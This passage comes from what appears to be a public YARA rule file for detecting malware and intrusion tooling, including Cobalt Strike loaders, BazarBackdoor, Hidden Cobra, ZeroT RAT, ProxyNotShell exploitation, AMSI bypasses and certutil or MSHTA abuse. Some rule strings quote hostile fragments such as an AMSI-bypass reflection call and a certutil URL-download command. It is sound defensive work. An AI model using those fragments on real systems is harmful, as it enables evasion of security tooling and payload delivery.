      C6 44 24 4A 72
      C6 44 24 4B 74
      C6 44 24 4C 75
      C6 44 24 4D 61
      C6 44 24 4E 6C
      C6 44 24 4F 41
      C6 44 24 50 6C
      C6 44 24 51 6C
      C6 44 24 52 6F
      C6 44 24 53 63
      C6 44 24 54 00
    }
		$deobfuscator = {
      8B 04 24
      FF C0
      89 04 24
      8B 44 24 28
      39 04 24
      73 20
      8B 04 24
      0F B6 4C 24 30
      48 8B 54 24 20
      0F BE 04 02
      33 C1
      8B 0C 24
      48 8B 54 24 20
      88 04 0A
    }

	condition:
		all of them
}

rule CobaltStrike_Sleeve_BeaconLoader_x64_o_v4_3_v4_4_v4_5_and_v4_6
{
	meta:
		description = "Cobalt Strike's sleeve/BeaconLoader.x64.o (Base) Versions 4.3 through at least 4.6"
		hash = "ac090a0707aa5ccd2c645b523bd23a25999990cf6895fce3bfa3b025e3e8a1c9"
		author = "gssincla@google.com"
		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
		date = "2022-11-18"
		id = "07f751e4-f001-5b95-b229-31fbaa867cea"

	strings:
		$core_sig = {
      33 C0
      83 F8 01
      74 63
      48 8B 44 24 20
      0F B7 00
      3D 4D 5A 00 00
      75 45
      48 8B 44 24 20
      48 63 40 3C
      48 89 44 24 28
      48 83 7C 24 28 40
      72 2F
      48 81 7C 24 28 00 04 00 00
      73 24
      48 8B 44 24 20
      48 8B 4C 24 28
      48 03 C8
      48 8B C1
      48 89 44 24 28
      48 8B 44 24 28
      81 38 50 45 00 00
      75 02
    }
		$deobfuscator = {
      8B 04 24
      FF C0
      89 04 24
      8B 44 24 28
      39 04 24
      73 20
      8B 04 24
      0F B6 4C 24 30
      48 8B 54 24 20
      0F BE 04 02
      33 C1
      8B 0C 24
      48 8B 54 24 20
      88 04 0A
    }

	condition:
		$core_sig and not $deobfuscator
}

rule crime_win64_backdoor_bazarbackdoor1
{
	meta:
		description = "Detects BazarBackdoor injected 64-bit malware"
		author = "@VK_Intel"
		reference = "https://twitter.com/pancak3lullz/status/1252303608747565057"
		tlp = "white"
		date = "2020-04-24"
		id = "1e387791-97fa-527d-87ed-68872b1891c4"

	strings:
		$str1 = "%id%"
		$start = { 48 ?? ?? ?? ?? 57 48 83 ec 30 b9 01 00 00 00 e8 ?? ?? ?? ?? 84 c0 0f ?? ?? ?? ?? ?? 40 32 ff 40 ?? ?? ?? ?? e8 ?? ?? ?? ?? 8a d8 8b ?? ?? ?? ?? ?? 83 f9 01 0f ?? ?? ?? ?? ?? 85 c9 75 ?? c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? e8 ?? ?? ?? ?? 85 c0 74 ?? b8 ff 00 00 00 e9 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? e8 ?? ?? ?? ?? c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? eb ?? 40 b7 01 40 ?? ?? ?? ?? 8a cb e8 ?? ?? ?? ?? e8 ?? ?? ?? ?? 48 8b d8 48 ?? ?? ?? 74 ??}
		$server = {40 53 48 83 ec 20 48 8b d9 e8 ?? ?? ?? ?? 85 c0 75 ?? 0f ?? ?? ?? ?? ?? ?? 66 83 f8 50 74 ?? b9 bb 01 00 00 66 3b c1 74 ?? a8 01 74 ?? 48 8b cb e8 ?? ?? ?? ?? 84 c0 75 ?? 48 8b cb e8 ?? ?? ?? ?? b8 f6 ff ff ff eb ?? 33 c0 48 83 c4 20 5b c3}

	condition:
		uint16( 0 ) == 0x5a4d and all of them
}

rule EXPL_Exchange_ProxyNotShell_Patterns_CVE_2022_41040_Oct22_1 : SCRIPT
{
	meta:
		description = "Detects successful ProxyNotShell exploitation attempts in log files (attempt to identify the attack before the official release of detailed information)"
		author = "Florian Roth (Nextron Systems)"
		score = 75
		old_rule_name = "EXPL_Exchange_ProxyNoShell_Patterns_CVE_2022_41040_Oct22_1"
		reference = "https://github.com/kljunowsky/CVE-2022-41040-POC"
		date = "2022-10-11"
		modified = "2023-03-15"
		id = "d2812fcd-0a20-5bbd-a9e1-9cca1ed58aa3"

	strings:
		$sr1 = / \/autodiscover\/autodiscover\.json[^\n]{1,300}owershell/ nocase ascii
		$sa1 = " 200 "
		$fp1 = " 444 "
		$fp2 = " 404 "
		$fp2b = " 401 "
		$fp3 = "GET /owa/ &Email=autodiscover/autodiscover.json%3F@test.com&ClientId=" ascii
		$fp4 = "@test.com/owa/?&Email=autodiscover/autodiscover.json%3F@test.com" ascii

	condition:
		$sr1 and 1 of ( $sa* ) and not 1 of ( $fp* )
}

rule EXT_SUSP_OBFUSC_macOS_RootHelper_Obfuscated
{
	meta:
		author = "im0prtp3"
		description = "Yara for the public tool 'roothelper'. Used by XCSSET (https://gist.github.com/NullArray/f39b026b9e0d19f1e17390a244d679ec)"
		reference = "https://twitter.com/imp0rtp3/status/1401912205621202944"
		date = "2021-06-07"
		score = 65
		id = "7ff91c00-8178-525c-bb41-d09cf7cda588"

	strings:
		$a1 = "E: neither argv[0] nor $_ works." fullword
		$b1 = "shll=%s\n" fullword
		$b2 = "argv[%d]=%.60s\n" fullword
		$b3 = "getenv(%s)=%s\n" fullword
		$b4 = "argc=%d\n" fullword
		$b5 = "argv=<null>\n" fullword
		$c1 = "%s%s%s: %s\n" fullword
		$c2 = "x%lx" fullword
		$c3 = "=%lu %d" fullword
		$c4 = "%lu %d%c" fullword
		$f1 = "rmarg"
		$f2 = "chkenv"
		$f3 = "untraceable"
		$f4 = "arc4"
		$f6 = "stte"
		$f7 = "with_file"
		$opcodes_1 = { 99 F7 7D ?? 4C 63 C2 42 0F B6 14 01 0F B6 3D }
		$opcodes_2 = { C6 [3] 00 00 00 C6 [3] 00 00 00 C6 [3] 00 00 00 8A 05 [2] 00 00 0F B6 [3] 00 00 89 CA }
		$opcodes_3 = { E8 [2] FF FF	8B 85 ?? F? FF FF 2B 85 ?? F? FF FF	83 ?? 01 89 85 ?? F? FF FF E9 ?? 00 00 00 }
		$weak_opcodes_1 = {48 8B 45 ?? 48 8B 00 48 3B 45 ??	0F 95 C1 88 4D ??}
		$weak_opcodes_2 = {	48 8B 45 ??	48 83 38 ??	0F 95 C1 88 4D ?? }

	condition:
		( uint32( 0 ) == 0xfeedface or uint32( 0 ) == 0xcefaedfe or uint32( 0 ) == 0xfeedfacf or uint32( 0 ) == 0xcffaedfe or uint32( 0 ) == 0xcafebabe or uint32( 0 ) == 0xbebafeca ) and ( $a1 or 3 of ( $b* ) or 5 of ( $f* ) or all of ( $opcodes* ) or ( 2 of ( $b* ) and ( 2 of ( $c* ) or 2 of ( $opcodes* ) ) ) or ( 3 of ( $c* ) and 4 of ( $f* ) ) or ( 2 of ( $opcodes* ) and ( all of ( $weak_opcodes* ) or 3 of ( $c* ) ) ) )
}

rule HiddenCobra_Rule_1
{
	meta:
		description = "Detects Hidden Cobra Malware"
		author = "US CERT"
		reference = "https://www.us-cert.gov/ncas/alerts/TA17-164A"
		date = "2017-06-13"
		id = "921c027e-fac3-5419-b0a6-5043f5cde466"

	strings:
		$rsaKey = {7B 4E 1E A7 E9 3F 36 4C DE F4 F0 99 C4 D9 B7 94
            A1 FF F2 97 D3 91 13 9D C0 12 02 E4 4C BB 6C 77
            48 EE 6F 4B 9B 53 60 98 45 A5 28 65 8A 0B F8 39
            73 D7 1A 44 13 B3 6A BB 61 44 AF 31 47 E7 87 C2
            AE 7A A7 2C 3A D9 5C 2E 42 1A A6 78 FE 2C AD ED
            39 3F FA D0 AD 3D D9 C5 3D 28 EF 3D 67 B1 E0 68
            3F 58 A0 19 27 CC 27 C9 E8 D8 1E 7E EE 91 DD 13
            B3 47 EF 57 1A CA FF 9A 60 E0 64 08 AA E2 92 D0}

	condition:
		all of them
}

rule HiddenCobra_Rule_3
{
	meta:
		description = "Detects Hidden Cobra Malware"
		author = "US CERT"
		reference = "https://www.us-cert.gov/ncas/alerts/TA17-164A"
		date = "2017-06-13"
		id = "39c7e039-4b07-575d-a93a-539ecc4e63d8"

	strings:
		$randomUrlBuilder = { 83 EC 48 53 55 56 57 8B 3D ?? ?? ?? ?? 33 C0 C7
         44 24 28 B4 6F 41 00 C7 44 24 2C B0 6F 41 00 C7 44 24 30 AC 6F 41
         00 C7 44 24 34 A8 6F 41 00 C7 44 24 38 A4 6F 41 00 C7 44 24 3C A0
         6F 41 00 C7 44 24 40 9C 6F 41 00 C7 44 24 44 94 6F 41 00 C7 44 24
         48 8C 6F 41 00 C7 44 24 4C 88 6F 41 00 C7 44 24 50 80 6F 41 00 89
         44 24 54 C7 44 24 10 7C 6F 41 00 C7 44 24 14 78 6F 41 00 C7 44 24
         18 74 6F 41 00 C7 44 24 1C 70 6F 41 00 C7 44 24 20 6C 6F 41 00 89
         44 24 24 FF D7 99 B9 0B 00 00 00 F7 F9 8B 74 94 28 BA 9C 6F 41 00
         66 8B 06 66 3B 02 74 34 8B FE 83 C9 FF 33 C0 8B 54 24 60 F2 AE 8B
         6C 24 5C A1 ?? ?? ?? ?? F7 D1 49 89 45 00 8B FE 33 C0 8D 5C 11 05
         83 C9 FF 03 DD F2 AE F7 D1 49 8B FE 8B D1 EB 78 FF D7 99 B9 05 00
         00 00 8B 6C 24 5C F7 F9 83 C9 FF 33 C0 8B 74 94 10 8B 54 24 60 8B
         FE F2 AE F7 D1 49 BF 60 6F 41 00 8B D9 83 C9 FF F2 AE F7 D1 8B C2
         49 03 C3 8B FE 8D 5C 01 05 8B 0D ?? ?? ?? ?? 89 4D 00 83 C9 FF 33
         C0 03 DD F2 AE F7 D1 49 8D 7C 2A 05 8B D1 C1 E9 02 F3 A5 8B CA 83
         E1 03 F3 A4 BF 60 6F 41 00 83 C9 FF F2 AE F7 D1 49 BE 60 6F 41 00
         8B D1 8B FE 83 C9 FF 33 C0 F2 AE F7 D1 49 8B FB 2B F9 8B CA 8B C1
         C1 E9 02 F3 A5 8B C8 83 E1 03 F3 A4 8B 7C 24 60 8D 75 04 57 56 E8
         ?? ?? ?? ?? 83 C4 08 C6 04 3E 2E 8B C5 C6 03 00 5F 5E 5D 5B 83 C4
         48 C3 }

	condition:
		$randomUrlBuilder
}

rule APT_HiddenCobra_GhostSecret_1
{
	meta:
		description = "Detects Hidden Cobra Sample"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/"
		date = "2018-08-11"
		hash1 = "05a567fe3f7c22a0ef78cc39dcf2d9ff283580c82bdbe880af9549e7014becfc"
		id = "d6955294-84a4-5694-87c9-b5b1c39e0fae"

	strings:
		$s1 = "%s\\%s.dll" fullword wide
		$s2 = "PROXY_SVC_DLL.dll" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 3000KB and all of them
}

rule APT_HiddenCobra_GhostSecret_2
{
	meta:
		description = "Detects Hidden Cobra Sample"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/"
		date = "2018-08-11"
		hash1 = "45e68dce0f75353c448865b9abafbef5d4ed6492cd7058f65bf6aac182a9176a"
		id = "dab5b0ec-ae89-521e-bbb9-15602db9ed6c"

	strings:
		$s1 = "ping 127.0.0.1 -n 3" fullword wide
		$s2 = "Process32" fullword ascii
		$s11 = "%2d%2d%2d%2d%2d%2d" fullword ascii
		$s12 = "del /a \"" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 400KB and all of them
}

rule APT_MAL_HOPLIGHT_NK_HiddenCobra_Apr19_1
{
	meta:
		description = "Detects HOPLIGHT malware used by HiddenCobra APT group"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.us-cert.gov/ncas/analysis-reports/AR19-100A"
		date = "2019-04-13"
		hash1 = "d77fdabe17cdba62a8e728cbe6c740e2c2e541072501f77988674e07a05dfb39"
		id = "923a0812-f375-5c0c-a22c-fc71ddcad4e3"

	strings:
		$s1 = "www.naver.com" fullword ascii
		$s2 = "PolarSSL Test CA0" fullword ascii

	condition:
		filesize < 1000KB and all of them
}

rule APT_MAL_HOPLIGHT_NK_HiddenCobra_Apr19_2
{
	meta:
		description = "Detects HOPLIGHT malware used by HiddenCobra APT group"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.us-cert.gov/ncas/analysis-reports/AR19-100A"
		date = "2019-04-13"
		hash1 = "70034b33f59c6698403293cdc28676c7daa8c49031089efa6eefce41e22dccb3"
		id = "9c7fd381-272a-5cfc-a7ee-7f0f9221fa04"

	strings:
		$s1 = "%SystemRoot%\\System32\\svchost.exe -k mdnetuse" fullword ascii
		$s2 = "%s\\hid.dll" fullword ascii
		$s3 = "%Systemroot%\\System32\\" ascii
		$s4 = "SYSTEM\\CurrentControlSet\\services\\%s\\Parameters" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 800KB and all of them
}

rule APT_MAL_HOPLIGHT_NK_HiddenCobra_Apr19_3
{
	meta:
		description = "Detects HOPLIGHT malware used by HiddenCobra APT group"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.us-cert.gov/ncas/analysis-reports/AR19-100A"
		date = "2019-04-13"
		hash1 = "2151c1977b4555a1761c12f151969f8e853e26c396fa1a7b74ccbaf3a48f4525"
		hash2 = "05feed9762bc46b47a7dc5c469add9f163c16df4ddaafe81983a628da5714461"
		hash3 = "ddea408e178f0412ae78ff5d5adf2439251f68cad4fd853ee466a3c74649642d"
		id = "683b4d64-575a-5bdb-9ad8-e10a60037032"

	strings:
		$s1 = "Oleaut32.dll" fullword ascii
		$s2 = "Process32NextA" fullword ascii
		$s3 = "Process32FirstA" fullword ascii
		$s4 = "%sRSA key size  : %d bits" fullword ascii
		$s5 = "emailAddress=" fullword ascii
		$s6 = "%scert. version : %d" fullword ascii
		$s7 = "www.naver.com" fullword ascii
		$x1 = "ztretrtireotreotieroptkierert" fullword ascii
		$x2 = "reykfgkodfgkfdskgdfogpdokgsdfpg" fullword ascii
		$x3 = "fjiejffndxklfsdkfjsaadiepwn" fullword ascii
		$x4 = "fgwljusjpdjah" fullword ascii
		$x5 = "udbcgiut.dat" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 800KB and ( 1 of ( $x* ) or 6 of ( $s* ) )
}

rule PP_CN_APT_ZeroT_1
{
	meta:
		description = "Detects malware from the Proofpoint CN APT ZeroT incident"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx"
		date = "2017-02-03"
		hash1 = "09061c603a32ac99b664f7434febfc8c1f9fd7b6469be289bb130a635a6c47c0"
		id = "c16f3abb-ac7e-5d5f-b8d7-b105cff3886e"

	strings:
		$s1 = "suprise.exe" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 2000KB and all of them )
}

rule PP_CN_APT_ZeroT_2
{
	meta:
		description = "Detects malware from the Proofpoint CN APT ZeroT incident"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx"
		date = "2017-02-03"
		hash1 = "74eb592ef7f5967b14794acdc916686e061a43169f06e5be4dca70811b9815df"
		id = "8433216e-1189-568c-bd18-051fb1fec215"

	strings:
		$s1 = "NO2-2016101902.exe" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 2000KB and all of them )
}

rule PP_CN_APT_ZeroT_3
{
	meta:
		description = "Detects malware from the Proofpoint CN APT ZeroT incident"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx"
		date = "2017-02-03"
		hash1 = "ee2e2937128dac91a11e9bf55babc1a8387eb16cebe676142c885b2fc18669b2"
		id = "99aa29cf-d962-5a3d-bd28-6486c40822bb"

	strings:
		$s1 = "/svchost.exe" fullword ascii
		$s2 = "RasTls.dll" fullword ascii
		$s3 = "20160620.htm" fullword ascii
		$s4 = "* $l&$" fullword ascii
		$s5 = "dfjhmh" fullword ascii
		$s6 = "/20160620.htm" fullword ascii

	condition:
		( uint16( 0 ) == 0x5449 and filesize < 1000KB and 3 of them ) or ( all of them )
}

rule PP_CN_APT_ZeroT_4
{
	meta:
		description = "Detects malware from the Proofpoint CN APT ZeroT incident"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx"
		date = "2017-02-03"
		hash1 = "a9519d2624a842d2c9060b64bb78ee1c400fea9e43d4436371a67cbf90e611b8"
		id = "b21961ee-d346-51d3-bacd-02554240162d"

	strings:
		$s1 = "Mcutil.dll" fullword ascii
		$s2 = "mcut.exe" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 1000KB and all of them )
}

rule PP_CN_APT_ZeroT_5
{
	meta:
		description = "Detects malware from the Proofpoint CN APT ZeroT incident"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx"
		date = "2017-02-03"
		hash1 = "74dd52aeac83cc01c348528a9bcb20bbc34622b156f40654153e41817083ba1d"
		id = "2a7c6a36-aace-562e-bbc4-425c1d93fab1"

	strings:
		$x1 = "dbozcb" fullword ascii
		$s1 = "nflogger.dll" fullword ascii
		$s2 = "/svchost.exe" fullword ascii
		$s3 = "1207.htm" fullword ascii
		$s4 = "/1207.htm" fullword ascii

	condition:
		( uint16( 0 ) == 0x5449 and filesize < 1000KB and 1 of ( $x* ) and 1 of ( $s* ) ) or ( all of them )
}

rule PP_CN_APT_ZeroT_6
{
	meta:
		description = "Detects malware from the Proofpoint CN APT ZeroT incident"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx"
		date = "2017-02-03"
		hash1 = "a16078c6d09fcfc9d6ff7a91e39e6d72e2d6d6ab6080930e1e2169ec002b37d3"
		id = "2e3bb4bd-5e20-56e7-a82b-d717d83eaeeb"

	strings:
		$s1 = "jGetgQ|0h9=" fullword ascii
		$s2 = "\\sfxrar32\\Release\\sfxrar.pdb"

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 1000KB and all of them
}

rule PP_CN_APT_ZeroT_7
{
	meta:
		description = "Detects malware from the Proofpoint CN APT ZeroT incident"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx"
		date = "2017-02-03"
		hash1 = "fc2d47d91ad8517a4a974c4570b346b41646fac333d219d2f1282c96b4571478"
		id = "e9cdca86-84a8-5673-935c-c319b523674b"

	strings:
		$s1 = "RasTls.dll" fullword ascii
		$s2 = "RasTls.exe" fullword ascii
		$s4 = "LOADER ERROR" fullword ascii
		$s5 = "The procedure entry point %s could not be located in the dynamic link library %s" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 1000KB and all of them )
}

rule PP_CN_APT_ZeroT_8
{
	meta:
		description = "Detects malware from the Proofpoint CN APT ZeroT incident"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx"
		date = "2017-02-03"
		hash1 = "4ef91c17b1415609a2394d2c6c353318a2503900e400aab25ab96c9fe7dc92ff"
		id = "f9a4f092-c699-5e91-9667-64ffe1b02bc1"

	strings:
		$s1 = "/svchost.exe" fullword ascii
		$s2 = "RasTls.dll" fullword ascii
		$s3 = "20160620.htm" fullword ascii
		$s4 = "/20160620.htm" fullword ascii

	condition:
		( uint16( 0 ) == 0x5449 and filesize < 1000KB and 3 of them )
}

rule PP_CN_APT_ZeroT_9
{
	meta:
		description = "Detects malware from the Proofpoint CN APT ZeroT incident"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx"
		date = "2017-02-03"
		hash1 = "a685cf4dca6a58213e67d041bba637dca9cb3ea6bb9ad3eae3ba85229118bce0"
		id = "e1c32993-409c-5a62-8239-cff99fb83a7f"

	strings:
		$x1 = "nflogger.dll" fullword ascii
		$s7 = "Zlh.exe" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 1000KB and all of them )
}

rule CN_APT_ZeroT_nflogger
{
	meta:
		description = "Chinese APT by Proofpoint ZeroT RAT  - file nflogger.dll"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx"
		date = "2017-02-04"
		hash1 = "946adbeb017616d56193a6d43fe9c583be6ad1c7f6a22bab7df9db42e6e8ab10"
		id = "0d23f312-e3b6-5c23-855b-25ae54265512"

	strings:
		$x1 = "\\LoaderDll.VS2010\\Release\\" ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 200KB and all of them )
}

rule CN_APT_ZeroT_extracted_Go
{
	meta:
		description = "Chinese APT by Proofpoint ZeroT RAT  - file Go.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx"
		date = "2017-02-04"
		modified = "2023-01-06"
		hash1 = "83ddc69fe0d3f3d2f46df7e72995d59511c1bfcca1a4e14c330cb71860b4806b"
		id = "ba929e6d-4162-58e7-b8a8-bcb066b64522"

	strings:
		$x1 = "%s\\cmd.exe /c %s\\Zlh.exe" fullword ascii
		$x2 = "\\BypassUAC.VS2010\\Release\\" ascii
		$s1 = "Zjdsf.exe" fullword ascii
		$s2 = "SS32prep.exe" fullword ascii
		$s3 = "windowsgrep.exe" fullword ascii
		$s4 = "Sysdug.exe" fullword ascii
		$s5 = "Proessz.exe" fullword ascii
		$s6 = "%s\\Zlh.exe" fullword ascii
		$s7 = "/C %s\\%s" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 100KB and ( 1 of ( $x* ) or 3 of ( $s* ) ) ) or ( 7 of them )
}

rule CN_APT_ZeroT_extracted_Mcutil
{
	meta:
		description = "Chinese APT by Proofpoint ZeroT RAT  - file Mcutil.dll"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx"
		date = "2017-02-04"
		hash1 = "266c06b06abbed846ebabfc0e683f5d20dadab52241bc166b9d60e9b8493b500"
		id = "c887d36b-8aeb-54f1-a683-727561723238"

	strings:
		$s1 = "LoaderDll.dll" fullword ascii
		$s2 = "QageBox1USER" fullword ascii
		$s3 = "xhmowl" fullword ascii
		$s4 = "?KEYKY" fullword ascii
		$s5 = "HH:mm:_s" fullword ascii
		$s6 = "=licni] has maX0t" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 90KB and 3 of them ) or ( all of them )
}

rule CN_APT_ZeroT_extracted_Zlh
{
	meta:
		description = "Chinese APT by Proofpoint ZeroT RAT - file Zlh.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx"
		date = "2017-02-04"
		hash1 = "711f0a635bbd6bf1a2890855d0bd51dff79021db45673541972fe6e1288f5705"
		id = "4c8b9a90-6cb3-5aba-a993-f73207341d0e"

	strings:
		$s1 = "nflogger.dll" fullword wide
		$s2 = "%s %d: CreateProcess('%s', '%s') failed. Windows error code is 0x%08x" fullword ascii
		$s3 = "_StartZlhh(): Executed \"%s\"" ascii
		$s4 = "Executable: '%s' (%s) %i" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 300KB and 3 of them )
}

rule PS_AMSI_Bypass : FILE
{
	meta:
		description = "Detects PowerShell AMSI Bypass"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://gist.github.com/mattifestation/46d6a2ebb4a1f4f0e7229503dc012ef1"
		date = "2017-07-19"
		score = 65
		id = "31ab8932-4c74-5251-a044-3fcc0aa159f4"

	strings:
		$s1 = ".GetField('amsiContext',[Reflection.BindingFlags]'NonPublic,Static')." ascii nocase

	condition:
		1 of them
}

rule JS_Suspicious_Obfuscation_Dropbox
{
	meta:
		description = "Detects PowerShell AMSI Bypass"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://twitter.com/ItsReallyNick/status/887705105239343104"
		date = "2017-07-19"
		score = 70
		id = "9b6b288d-3a15-5267-bbb1-885febf4df78"

	strings:
		$x1 = "j\"+\"a\"+\"v\"+\"a\"+\"s\"+\"c\"+\"r\"+\"i\"+\"p\"+\"t\""
		$x2 = "script:https://www.dropbox.com" ascii

	condition:
		2 of them
}

rule JS_Suspicious_MSHTA_Bypass
{
	meta:
		description = "Detects MSHTA Bypass"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://twitter.com/ItsReallyNick/status/887705105239343104"
		date = "2017-07-19"
		score = 70
		id = "b2ddca78-c19a-5bb6-a1c9-4413e637ab1d"

	strings:
		$s1 = "mshtml,RunHTMLApplication" ascii
		$s2 = "new ActiveXObject(\"WScript.Shell\").Run(" ascii
		$s3 = "/c start mshta j" ascii nocase

	condition:
		2 of them
}

rule JavaScript_Run_Suspicious
{
	meta:
		description = "Detects a suspicious Javascript Run command"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://twitter.com/craiu/status/900314063560998912"
		score = 60
		date = "2017-08-23"
		id = "87f98ead-3052-5777-8877-574619173aaa"

	strings:
		$s1 = "w = new ActiveXObject(" ascii
		$s2 = " w.Run(r);" fullword ascii

	condition:
		all of them
}

rule Certutil_Decode_OR_Download
{
	meta:
		description = "Certutil Decode"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		score = 40
		date = "2017-08-29"
		modified = "2023-10-19"
		id = "63bdefd2-225a-56d5-b615-5e236c97f050"

	strings:
		$a1 = "certutil -decode " ascii wide
		$a2 = "certutil  -decode " ascii wide
		$a3 = "certutil.exe -decode " ascii wide
		$a4 = "certutil.exe  -decode " ascii wide
		$a5 = "certutil -urlcache -split -f http" ascii wide
		$a6 = "certutil.exe -urlcache -split -f http" ascii wide
		$fp_msi = { 52 00 6F 00 6F 00 74 00 20 00 45 00 6E 00 74 00 72 00 79 }

	condition:
		filesize < 700KB and 1 of ( $a* ) and not 1 of ( $fp* )
}

rule Suspicious_JS_script_content
{
	meta:
		description = "Detects suspicious statements in JavaScript files"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Research on Leviathan https://goo.gl/MZ7dRg"
		date = "2017-12-02"
		score = 70
		hash1 = "fc0fad39b461eb1cfc6be57932993fcea94fca650564271d1b74dd850c81602f"
		id = "6a547aa5-c58c-5559-9d3f-3f0d541eafd4"

	strings:
		$x1 = "new ActiveXObject('WScript.Shell')).Run('cmd /c " ascii
		$x2 = ".Run('regsvr32 /s /u /i:" ascii
		$x3 = "new ActiveXObject('WScript.Shell')).Run('regsvr32 /s" fullword ascii
		$x4 = "args='/s /u /i:" ascii

	condition:
		( filesize < 10KB and 1 of them )
}

rule Universal_Exploit_Strings
{
	meta:
		description = "Detects a group of strings often used in exploit codes"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "not set"
		date = "2017-12-02"
		score = 50
		hash1 = "9b07dacf8a45218ede6d64327c38478640ff17d0f1e525bd392c002e49fe3629"
		id = "4b3a9eec-5f7c-579c-9719-fe23cc291aee"

	strings:
		$s1 = "Exploit" fullword ascii
		$s2 = "Payload" fullword ascii
		$s3 = "CVE-201" ascii
		$s4 = "bindshell"

	condition:
		( filesize < 2KB and 3 of them )
}

